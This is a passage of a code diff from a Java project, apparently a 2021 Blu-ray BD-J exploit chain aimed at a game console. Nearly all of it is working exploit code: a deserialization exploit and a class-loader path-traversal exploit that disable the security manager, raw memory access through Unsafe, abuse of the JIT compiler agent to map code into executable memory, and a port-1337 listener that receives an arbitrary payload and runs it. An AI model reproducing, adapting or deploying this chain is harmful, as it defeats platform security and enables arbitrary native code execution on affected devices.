new ExploitInterface[] {new ExploitUserPrefsImpl(), new ExploitServiceProxyImpl()};
|
||||
|
||||
for (int i = 0; i < exploits.length; i++) {
|
||||
try {
|
||||
exploits[i].trigger();
|
||||
if (System.getSecurityManager() == null) {
|
||||
break;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
if (System.getSecurityManager() != null) {
|
||||
Screen.println("[-] Error could not disable security manager.");
|
||||
}
|
||||
}
|
||||
|
||||
static void start() {
|
||||
new Thread(new Exploit()).start();
|
||||
}
|
||||
|
||||
public void run() {
|
||||
if (System.getSecurityManager() != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
Screen.println("[*] Installing native API...");
|
||||
API api = API.getInstance();
|
||||
|
||||
Screen.println("[*] Enabling JIT...");
|
||||
JIT jit = JIT.getInstance();
|
||||
|
||||
Screen.println("[*] Waiting for payload...");
|
||||
|
||||
ServerSocket serverSocket = new ServerSocket(1337);
|
||||
Socket socket = serverSocket.accept();
|
||||
|
||||
Screen.println("[*] Downloading payload...");
|
||||
|
||||
InputStream inputStream = socket.getInputStream();
|
||||
OutputStream outputStream = new FileOutputStream("/OS/HDD/download0/mnt_ada/payload.bin");
|
||||
|
||||
byte[] buf = new byte[8192];
|
||||
int read;
|
||||
while ((read = inputStream.read(buf)) > 0) {
|
||||
outputStream.write(buf, 0, read);
|
||||
}
|
||||
|
||||
outputStream.close();
|
||||
inputStream.close();
|
||||
|
||||
socket.close();
|
||||
|
||||
Screen.println("[*] Executing payload...");
|
||||
long sceKernelDlsym = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelDlsym");
|
||||
long payload = jit.mapPayload("/OS/HDD/download0/mnt_ada/payload.bin");
|
||||
int ret = (int) api.call(payload, sceKernelDlsym);
|
||||
Screen.println("[+] Result: " + Integer.toHexString(ret));
|
||||
} catch (Exception e) {
|
||||
Screen.println("[-] Error: " + e.getCause());
|
||||
}
|
||||
}
|
||||
}
|
12
com/bdjb/ExploitInterface.java
Normal file
12
com/bdjb/ExploitInterface.java
Normal file
@ -0,0 +1,12 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
interface ExploitInterface {
|
||||
public void trigger() throws Exception;
|
||||
}
|
60
com/bdjb/ExploitServiceProxyImpl.java
Normal file
60
com/bdjb/ExploitServiceProxyImpl.java
Normal file
@ -0,0 +1,60 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.security.Security;
|
||||
import java.security.Provider;
|
||||
|
||||
/** Implementation of the service+proxy exploit. */
|
||||
class ExploitServiceProxyImpl implements ExploitInterface {
|
||||
private static final String SERVICE_CLASS_NAME = "com.oracle.security.Service";
|
||||
|
||||
private static final String NEW_INSTANCE_METHOD_NAME = "newInstance";
|
||||
private static final String NEW_INSTANCE_METHOD_SIGNATURE =
|
||||
"(Ljava/lang/Object;)Ljava/lang/Object;";
|
||||
|
||||
private static final String JAR_URL =
|
||||
"file:///app0/bdjstack/lib/ext/../../../../disc/BDMV/JAR/00000.jar";
|
||||
|
||||
private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload";
|
||||
|
||||
public void trigger() throws Exception {
|
||||
// Throw exception if class does not exist.
|
||||
Class.forName(SERVICE_CLASS_NAME);
|
||||
|
||||
IxcProxyImpl proxy = IxcProxyImpl.getInstance();
|
||||
|
||||
// Prepare service object with the class to be instantiated.
|
||||
Provider[] providers = Security.getProviders();
|
||||
ServiceImpl service =
|
||||
new ServiceImpl(
|
||||
providers[0], "exploit", "exploit", URLClassLoader.class.getName(), null, null);
|
||||
ProviderAccessorImpl providerAccessor = new ProviderAccessorImpl(providers);
|
||||
providerAccessor.putService(providers[0], service);
|
||||
providerAccessor.setProviderAccessor();
|
||||
|
||||
// Instantiate the URLClassLoader class with privileges and a vulnerable path.
|
||||
URL[] urls = new URL[] {new URL(JAR_URL)};
|
||||
URLClassLoader urlClassLoader =
|
||||
(URLClassLoader)
|
||||
proxy.invokeMethod(
|
||||
service,
|
||||
NEW_INSTANCE_METHOD_NAME,
|
||||
NEW_INSTANCE_METHOD_SIGNATURE,
|
||||
new Object[] {urls});
|
||||
|
||||
// Instantiate the payload class with all permissions to disable the security manager.
|
||||
Class payloadClass = urlClassLoader.loadClass(PAYLOAD_CLASS_NAME);
|
||||
payloadClass.newInstance();
|
||||
}
|
||||
}
|
56
com/bdjb/ExploitUserPrefsImpl.java
Normal file
56
com/bdjb/ExploitUserPrefsImpl.java
Normal file
@ -0,0 +1,56 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import org.havi.ui.HSceneFactory;
|
||||
|
||||
/** Implementation of the userprefs deserialization exploit. */
|
||||
class ExploitUserPrefsImpl implements ExploitInterface {
|
||||
private static final String MNT_ADA_USERPREFS = "/OS/HDD/download0/mnt_ada/userprefs";
|
||||
|
||||
private static final String PAYLOAD_CLASS_LOADER_SER = "/com/bdjb/PayloadClassLoader.ser";
|
||||
|
||||
public void trigger() throws Exception {
|
||||
try {
|
||||
// Overwrite userprefs with a serialized PayloadClassLoader.
|
||||
InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_LOADER_SER);
|
||||
OutputStream outputStream = new FileOutputStream(MNT_ADA_USERPREFS);
|
||||
|
||||
byte[] buf = new byte[8192];
|
||||
int read;
|
||||
while ((read = inputStream.read(buf)) > 0) {
|
||||
outputStream.write(buf, 0, read);
|
||||
}
|
||||
|
||||
outputStream.close();
|
||||
inputStream.close();
|
||||
|
||||
// Trigger deserialization vulnerability.
|
||||
try {
|
||||
HSceneFactory.getInstance().getDefaultHScene();
|
||||
} catch (ClassCastException e) {
|
||||
// Exception expected.
|
||||
|
||||
// Instantiate the payload class.
|
||||
PayloadClassLoader.getInstance().newPayload();
|
||||
}
|
||||
} finally {
|
||||
// Restore userprefs file.
|
||||
String[][] preferences = new String[9][];
|
||||
preferences[3] = new String[] {"26"};
|
||||
ObjectOutputStream outputStream =
|
||||
new ObjectOutputStream(new FileOutputStream(MNT_ADA_USERPREFS));
|
||||
outputStream.writeObject(preferences);
|
||||
outputStream.close();
|
||||
}
|
||||
}
|
||||
}
|
45
com/bdjb/ExploitXlet.java
Normal file
45
com/bdjb/ExploitXlet.java
Normal file
@ -0,0 +1,45 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import java.awt.BorderLayout;
|
||||
import javax.tv.xlet.Xlet;
|
||||
import javax.tv.xlet.XletContext;
|
||||
import org.havi.ui.HScene;
|
||||
import org.havi.ui.HSceneFactory;
|
||||
|
||||
public class ExploitXlet implements Xlet {
|
||||
private HScene scene;
|
||||
private Screen screen;
|
||||
|
||||
public void initXlet(XletContext context) {
|
||||
Exploit.init();
|
||||
|
||||
screen = Screen.getInstance();
|
||||
screen.setSize(1920, 1080); // BD screen size
|
||||
|
||||
scene = HSceneFactory.getInstance().getDefaultHScene();
|
||||
scene.add(screen, BorderLayout.CENTER);
|
||||
scene.validate();
|
||||
}
|
||||
|
||||
public void startXlet() {
|
||||
screen.setVisible(true);
|
||||
scene.setVisible(true);
|
||||
Exploit.start();
|
||||
}
|
||||
|
||||
public void pauseXlet() {
|
||||
screen.setVisible(false);
|
||||
}
|
||||
|
||||
public void destroyXlet(boolean unconditional) {
|
||||
scene.remove(screen);
|
||||
scene = null;
|
||||
}
|
||||
}
|
50
com/bdjb/IxcProxyImpl.java
Normal file
50
com/bdjb/IxcProxyImpl.java
Normal file
@ -0,0 +1,50 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import com.sony.gemstack.core.CoreAppContext;
|
||||
import com.sony.gemstack.core.CoreIxcClassLoader;
|
||||
import com.sony.gemstack.org.dvb.io.ixc.IxcProxy;
|
||||
import java.rmi.RemoteException;
|
||||
|
||||
/** IxcProxy implementation that allows certain public methods to be invoked with privileges. */
|
||||
class IxcProxyImpl extends IxcProxy {
|
||||
private static IxcProxyImpl instance;
|
||||
|
||||
private Object remote;
|
||||
|
||||
private IxcProxyImpl(CoreIxcClassLoader localClassLoader, CoreIxcClassLoader remoteClassLoader) {
|
||||
super(localClassLoader, remoteClassLoader);
|
||||
}
|
||||
|
||||
static synchronized IxcProxyImpl getInstance() {
|
||||
if (instance == null) {
|
||||
CoreIxcClassLoader coreIxcClassLoader = CoreAppContext.getContext().getIxcClassLoader();
|
||||
instance = new IxcProxyImpl(coreIxcClassLoader, coreIxcClassLoader);
|
||||
}
|
||||
return instance;
|
||||
}
|
||||
|
||||
public Object getRemote() {
|
||||
return remote;
|
||||
}
|
||||
|
||||
public void forgetRemote() {}
|
||||
|
||||
/** Override to avoid serializing the return object. */
|
||||
protected Object replaceObject(Object obj, CoreIxcClassLoader coreIxcClassLoader)
|
||||
throws RemoteException {
|
||||
return obj;
|
||||
}
|
||||
|
||||
public Object invokeMethod(Object obj, String name, String signature, Object[] args)
|
||||
throws Exception {
|
||||
this.remote = obj;
|
||||
return super.invokeMethod(args, name, signature);
|
||||
}
|
||||
}
|
160
com/bdjb/JIT.java
Normal file
160
com/bdjb/JIT.java
Normal file
@ -0,0 +1,160 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import java.io.RandomAccessFile;
|
||||
|
||||
/**
|
||||
* JIT class that exploits a vulnerability in the runtime-compiler protocol to map payloads to
|
||||
* executable memory.
|
||||
*/
|
||||
final class JIT {
|
||||
static final int BDJ_MODULE_HANDLE = 0;
|
||||
|
||||
static final int MAX_JIT_SIZE = 24 * 1024 * 1024; // Actually max is 30MB, but let's be safe.
|
||||
static final int PAGE_SIZE = 0x4000;
|
||||
static final int ALIGNMENT = 0x100000;
|
||||
|
||||
private static final int CHUNK_SIZE = 0x30;
|
||||
|
||||
private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160;
|
||||
|
||||
private static final int COMPILER_AGENT_REQUEST_SIZE = 0x58;
|
||||
|
||||
private static final byte ACK_MAGIC_NUMBER = (byte) 0xAA;
|
||||
|
||||
private static final byte[] BUFFER_BLOB_CREATE_SEQ = {
|
||||
(byte) 0x89, (byte) 0xF8, (byte) 0x49, (byte) 0x8B, (byte) 0x0F
|
||||
};
|
||||
|
||||
private static final byte[] COMPILER_AGENT_SENDER_THREAD_SEQ = {
|
||||
(byte) 0x4C, (byte) 0x8B, (byte) 0x70, (byte) 0x08, (byte) 0x41
|
||||
};
|
||||
|
||||
private static final String SCE_KERNEL_GET_MODULE_INFO_SYMBOL = "sceKernelGetModuleInfo";
|
||||
private static final String WRITE_SYMBOL = "write";
|
||||
private static final String READ_SYMBOL = "read";
|
||||
|
||||
private static JIT instance;
|
||||
|
||||
private final API api;
|
||||
|
||||
private long sceKernelGetModuleInfo;
|
||||
private long read;
|
||||
private long write;
|
||||
private long BufferBlob__create;
|
||||
|
||||
private int compilerAgentSocket;
|
||||
|
||||
private JIT() throws Exception {
|
||||
this.api = API.getInstance();
|
||||
this.init();
|
||||
}
|
||||
|
||||
static synchronized JIT getInstance() throws Exception {
|
||||
if (instance == null) {
|
||||
instance = new JIT();
|
||||
}
|
||||
return instance;
|
||||
}
|
||||
|
||||
private void init() {
|
||||
sceKernelGetModuleInfo =
|
||||
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL);
|
||||
read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL);
|
||||
write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL);
|
||||
|
||||
if (sceKernelGetModuleInfo == 0 || read == 0 || write == 0) {
|
||||
throw new IllegalStateException("Symbols could not be found.");
|
||||
}
|
||||
|
||||
long modinfo = api.malloc(SCE_KERNEL_MODULE_INFO_SIZE);
|
||||
api.memset(modinfo, 0, SCE_KERNEL_MODULE_INFO_SIZE);
|
||||
api.write64(modinfo + 0x00, SCE_KERNEL_MODULE_INFO_SIZE);
|
||||
if (api.call(sceKernelGetModuleInfo, BDJ_MODULE_HANDLE, modinfo) != 0) {
|
||||
throw new IllegalStateException("sceKernelGetModuleInfo failed.");
|
||||
}
|
||||
|
||||
long bdjBase = api.read64(modinfo + 0x108);
|
||||
long bdjSize = api.read32(modinfo + 0x110);
|
||||
|
||||
api.free(modinfo);
|
||||
|
||||
int i = 0;
|
||||
while (i < bdjSize
|
||||
&& api.memcmp(bdjBase + i, BUFFER_BLOB_CREATE_SEQ, BUFFER_BLOB_CREATE_SEQ.length) != 0) {
|
||||
i++;
|
||||
}
|
||||
if (i == bdjSize) {
|
||||
throw new IllegalStateException("BufferBlob::create function could not be found.");
|
||||
}
|
||||
BufferBlob__create = bdjBase + i - 0x21;
|
||||
|
||||
i = 0;
|
||||
while (i < bdjSize
|
||||
&& api.memcmp(
|
||||
bdjBase + i,
|
||||
COMPILER_AGENT_SENDER_THREAD_SEQ,
|
||||
COMPILER_AGENT_SENDER_THREAD_SEQ.length)
|
||||
!= 0) {
|
||||
i++;
|
||||
}
|
||||
if (i == bdjSize) {
|
||||
throw new IllegalStateException("Compiler agent socket could not be found.");
|
||||
}
|
||||
long compilerAgentSocketOpcode = bdjBase + i - 0x10;
|
||||
compilerAgentSocket =
|
||||
api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7);
|
||||
}
|
||||
|
||||
long mapPayload(String path) throws Exception {
|
||||
RandomAccessFile file = new RandomAccessFile(path, "r");
|
||||
|
||||
// TODO: Currently we just use maximum size so that the address is predictable.
|
||||
long size = MAX_JIT_SIZE;
|
||||
// long size = file.length() + 0x88 + ALIGNMENT - 1;
|
||||
// if (size >= MAX_JIT_SIZE) {
|
||||
// throw new IllegalArgumentException("Payload is too big.");
|
||||
// }
|
||||
|
||||
long name = api.malloc(4);
|
||||
api.strcpy(name, "jit");
|
||||
long blob = api.call(BufferBlob__create, name, size);
|
||||
long code = blob + api.read32(blob + 0x20);
|
||||
api.free(name);
|
||||
|
||||
long address = (code + ALIGNMENT - 1) & ~(ALIGNMENT - 1);
|
||||
|
||||
long request = api.malloc(COMPILER_AGENT_REQUEST_SIZE);
|
||||
long response = api.malloc(API.INT8_SIZE);
|
||||
|
||||
for (long i = 0; i < file.length(); i += CHUNK_SIZE) {
|
||||
byte[] chunk = new byte[CHUNK_SIZE];
|
||||
|
||||
file.seek(i);
|
||||
file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE));
|
||||
|
||||
api.memset(request, 0, COMPILER_AGENT_REQUEST_SIZE);
|
||||
api.memcpy(request + 0x00, chunk, CHUNK_SIZE);
|
||||
api.write64(request + 0x38, address + i - 0x28);
|
||||
api.call(write, compilerAgentSocket, request, COMPILER_AGENT_REQUEST_SIZE);
|
||||
|
||||
api.write8(response, (byte) 0);
|
||||
api.call(read, compilerAgentSocket, response, API.INT8_SIZE);
|
||||
|
||||
if (api.read8(response) != ACK_MAGIC_NUMBER) {
|
||||
throw new IllegalStateException("Wrong compiler response.");
|
||||
}
|
||||
}
|
||||
|
||||
api.free(response);
|
||||
api.free(request);
|
||||
|
||||
return address;
|
||||
}
|
||||
}
|
24
com/bdjb/Payload.java
Normal file
24
com/bdjb/Payload.java
Normal file
@ -0,0 +1,24 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import java.security.AccessController;
|
||||
import java.security.PrivilegedActionException;
|
||||
import java.security.PrivilegedExceptionAction;
|
||||
|
||||
/** Payload class that is loaded with all permissions in order to disable the security manager. */
|
||||
public class Payload implements PrivilegedExceptionAction {
|
||||
public Payload() throws PrivilegedActionException {
|
||||
AccessController.doPrivileged(this);
|
||||
}
|
||||
|
||||
public Object run() throws Exception {
|
||||
System.setSecurityManager(null);
|
||||
return null;
|
||||
}
|
||||
}
|
58
com/bdjb/PayloadClassLoader.java
Normal file
58
com/bdjb/PayloadClassLoader.java
Normal file
@ -0,0 +1,58 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.InputStream;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.security.Permissions;
|
||||
import java.security.AllPermission;
|
||||
|
||||
/** ClassLoader subclass that is instantiated on deserialization. */
|
||||
class PayloadClassLoader extends ClassLoader implements Serializable {
|
||||
private static final long serialVersionUID = 0x4141414141414141L;
|
||||
|
||||
private static final String PAYLOAD_CLASS_FILE = "/com/bdjb/Payload.class";
|
||||
private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload";
|
||||
|
||||
private static PayloadClassLoader instance;
|
||||
|
||||
static PayloadClassLoader getInstance() {
|
||||
return instance;
|
||||
}
|
||||
|
||||
private void readObject(ObjectInputStream stream) {
|
||||
instance = this;
|
||||
}
|
||||
|
||||
void newPayload() throws Exception {
|
||||
InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_FILE);
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
|
||||
byte[] buf = new byte[8192];
|
||||
int read;
|
||||
while ((read = inputStream.read(buf)) > 0) {
|
||||
outputStream.write(buf, 0, read);
|
||||
}
|
||||
|
||||
inputStream.close();
|
||||
|
||||
byte[] payload = outputStream.toByteArray();
|
||||
|
||||
// Instantiate the payload class with all permissions to disable the security manager.
|
||||
Permissions permissions = new Permissions();
|
||||
permissions.add(new AllPermission());
|
||||
ProtectionDomain protectionDomain = new ProtectionDomain(null, permissions);
|
||||
Class payloadClass =
|
||||
defineClass(PAYLOAD_CLASS_NAME, payload, 0, payload.length, protectionDomain);
|
||||
payloadClass.newInstance();
|
||||
}
|
||||
}
|
27
com/bdjb/PayloadClassLoaderSerializer.java
Normal file
27
com/bdjb/PayloadClassLoaderSerializer.java
Normal file
@ -0,0 +1,27 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
|
||||
/** Simple util to create a serialized object of the PayloadClassLoader class. */
|
||||
class PayloadClassLoaderSerializer {
|
||||
public static void main(String[] args) {
|
||||
try {
|
||||
ObjectOutputStream objectOutputStream =
|
||||
new ObjectOutputStream(new FileOutputStream("com/bdjb/PayloadClassLoader.ser"));
|
||||
objectOutputStream.writeObject(new PayloadClassLoader());
|
||||
objectOutputStream.close();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
65
com/bdjb/ProviderAccessorImpl.java
Normal file
65
com/bdjb/ProviderAccessorImpl.java
Normal file
@ -0,0 +1,65 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import com.oracle.ProviderAccessor;
|
||||
import com.oracle.ProviderAdapter;
|
||||
import com.oracle.security.Service;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Iterator;
|
||||
import java.util.Set;
|
||||
import java.security.Provider;
|
||||
import java.security.Security;
|
||||
|
||||
/** ProviderAccessor implementation that allows arbitrary services to be added. */
|
||||
class ProviderAccessorImpl implements ProviderAccessor {
|
||||
private final HashMap providerServices = new HashMap();
|
||||
|
||||
ProviderAccessorImpl(Provider[] providers) {
|
||||
this.copyProviderServices(providers);
|
||||
}
|
||||
|
||||
private void copyProviderServices(Provider[] providers) {
|
||||
for (int i = 0; i < providers.length; i++) {
|
||||
providerServices.put(providers[i], new HashSet(ProviderAdapter.getServices(providers[i])));
|
||||
}
|
||||
}
|
||||
|
||||
void setProviderAccessor() {
|
||||
ProviderAdapter.setProviderAccessor(this);
|
||||
}
|
||||
|
||||
public Service getService(Provider provider, String type, String algorithm) {
|
||||
Set services = getServices(provider);
|
||||
if (services != null) {
|
||||
Iterator iterator = services.iterator();
|
||||
while (iterator.hasNext()) {
|
||||
Service service = (Service) iterator.next();
|
||||
if (service.getType().equals(type)
|
||||
&& (service.getAlgorithm().equals(algorithm)
|
||||
|| service.getAliases().contains(algorithm))) {
|
||||
return service;
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public Set getServices(Provider provider) {
|
||||
return (Set) providerServices.get(provider);
|
||||
}
|
||||
|
||||
public void putService(Provider provider, Object service) {
|
||||
Set services = getServices(provider);
|
||||
if (services != null) {
|
||||
services.add(service);
|
||||
}
|
||||
}
|
||||
}
|
45
com/bdjb/Screen.java
Normal file
45
com/bdjb/Screen.java
Normal file
@ -0,0 +1,45 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import java.awt.Color;
|
||||
import java.awt.Container;
|
||||
import java.awt.Font;
|
||||
import java.awt.Graphics;
|
||||
import java.util.ArrayList;
|
||||
|
||||
class Screen extends Container {
|
||||
private static final Font FONT = new Font(null, Font.PLAIN, 36);
|
||||
|
||||
private static final ArrayList messages = new ArrayList();
|
||||
|
||||
private static final Screen instance = new Screen();
|
||||
|
||||
static Screen getInstance() {
|
||||
return instance;
|
||||
}
|
||||
|
||||
static void println(String msg) {
|
||||
messages.add(msg);
|
||||
instance.repaint();
|
||||
}
|
||||
|
||||
public void paint(Graphics g) {
|
||||
g.setFont(FONT);
|
||||
g.setColor(Color.WHITE);
|
||||
|
||||
int x = 100;
|
||||
int y = 100;
|
||||
int height = g.getFontMetrics().getHeight();
|
||||
for (int i = 0; i < messages.size(); i++) {
|
||||
String msg = (String) messages.get(i);
|
||||
g.drawString(msg, x, y);
|
||||
y += height;
|
||||
}
|
||||
}
|
||||
}
|
30
com/bdjb/ServiceImpl.java
Normal file
30
com/bdjb/ServiceImpl.java
Normal file
@ -0,0 +1,30 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import com.oracle.security.Service;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.security.Provider;
|
||||
|
||||
/** Service subclass implementing ServiceInterface in order to be accessible with IxcProxyImpl. */
|
||||
class ServiceImpl extends Service implements ServiceInterface {
|
||||
ServiceImpl(Provider provider) {
|
||||
super(provider);
|
||||
}
|
||||
|
||||
ServiceImpl(
|
||||
Provider provider,
|
||||
String type,
|
||||
String algorithm,
|
||||
String className,
|
||||
List aliases,
|
||||
Map attributes) {
|
||||
super(provider, type, algorithm, className, aliases, attributes);
|
||||
}
|
||||
}
|
18
com/bdjb/ServiceInterface.java
Normal file
18
com/bdjb/ServiceInterface.java
Normal file
@ -0,0 +1,18 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import java.rmi.Remote;
|
||||
import java.rmi.RemoteException;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
|
||||
/** Service interface with methods of interest throwing RemoteException. */
|
||||
interface ServiceInterface extends Remote {
|
||||
public Object newInstance(Object constructorParameter)
|
||||
throws RemoteException, NoSuchAlgorithmException;
|
||||
}
|
40
com/bdjb/UnsafeInterface.java
Normal file
40
com/bdjb/UnsafeInterface.java
Normal file
@ -0,0 +1,40 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
interface UnsafeInterface {
|
||||
public byte getByte(long address);
|
||||
|
||||
public short getShort(long address);
|
||||
|
||||
public int getInt(long address);
|
||||
|
||||
public long getLong(long address);
|
||||
|
||||
public long getLong(Object o, long offset);
|
||||
|
||||
public void putByte(long address, byte x);
|
||||
|
||||
public void putShort(long address, short x);
|
||||
|
||||
public void putInt(long address, int x);
|
||||
|
||||
public void putLong(long address, long x);
|
||||
|
||||
public void putObject(Object o, long offset, Object x);
|
||||
|
||||
public long objectFieldOffset(Field f);
|
||||
|
||||
public long allocateMemory(long bytes);
|
||||
|
||||
public long reallocateMemory(long address, long bytes);
|
||||
|
||||
public void freeMemory(long address);
|
||||
}
|
105
com/bdjb/UnsafeJdkImpl.java
Normal file
105
com/bdjb/UnsafeJdkImpl.java
Normal file
@ -0,0 +1,105 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package com.bdjb;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import jdk.internal.misc.Unsafe;
|
||||
|
||||
class UnsafeJdkImpl implements UnsafeInterface {
|
||||
private static final String GET_MODULE_METHOD_NAME = "getModule";
|
||||
|
||||
private static final String MODULE_CLASS_NAME = "java.lang.Module";
|
||||
private static final String IMPL_ADD_OPENS_TO_ALL_UNNAMED_METHOD_NAME =
|
||||
"implAddOpensToAllUnnamed";
|
||||
|
||||
private static final String UNSAFE_CLASS_NAME = "jdk.internal.misc.Unsafe";
|
||||
private static final String THE_UNSAFE_FIELD_NAME = "theUnsafe";
|
||||
|
||||
private final Unsafe unsafe;
|
||||
|
||||
UnsafeJdkImpl() throws Exception {
|
||||
// Throw exception if class does not exist.
|
||||
Class.forName(UNSAFE_CLASS_NAME);
|
||||
|
||||
// Get unsafe module.
|
||||
Method getModuleMethod = Class.class.getDeclaredMethod(GET_MODULE_METHOD_NAME, null);
|
||||
getModuleMethod.setAccessible(true);
|
||||
Object unsafeModule = getModuleMethod.invoke(Unsafe.class, null);
|
||||
|
||||
// Open unsafe package.
|
||||
Method implAddOpensToAllUnnamedMethod =
|
||||
Class.forName(MODULE_CLASS_NAME)
|
||||
.getDeclaredMethod(
|
||||
IMPL_ADD_OPENS_TO_ALL_UNNAMED_METHOD_NAME, new Class[] {String.class});
|
||||
implAddOpensToAllUnnamedMethod.setAccessible(true);
|
||||
implAddOpensToAllUnnamedMethod.invoke(
|
||||
unsafeModule, new Object[] {Unsafe.class.getPackage().getName()});
|
||||
|
||||
// Get unsafe instance.
|
||||
Field theUnsafeField = Unsafe.class.getDeclaredField(THE_UNSAFE_FIELD_NAME);
|
||||
theUnsafeField.setAccessible(true);
|
||||
unsafe = (Unsafe) theUnsafeField.get(null);
|
||||
}
|
||||
|
||||
public byte getByte(long address) {
|
||||
return unsafe.getByte(address);
|
||||
}
|
||||
|
||||
public short getShort(long address) {
|
||||
return unsafe.getShort(address);
|
||||
}
|
||||
|
||||
public int getInt(long address) {
|
||||
return unsafe.getInt(address);
|
||||
}
|
||||
|
||||
public long getLong(long address) {
|
||||
return unsafe.getLong(address);
|
||||
}
|
||||
|
||||
public long getLong(Object o, long offset) {
|
||||
return unsafe.getLong(o, offset);
|
||||
}
|
||||
|
||||
public void putByte(long address, byte x) {
|
||||
unsafe.putByte(address, x);
|
||||
}
|
||||
|
||||
public void putShort(long address, short x) {
|
||||
unsafe.putShort(address, x);
|
||||
}
|
||||
|
||||
public void putInt(long address, int x) {
|
||||
unsafe.putInt(address, x);
|
||||
}
|
||||
|
||||
public void putLong(long address, long x) {
|
||||
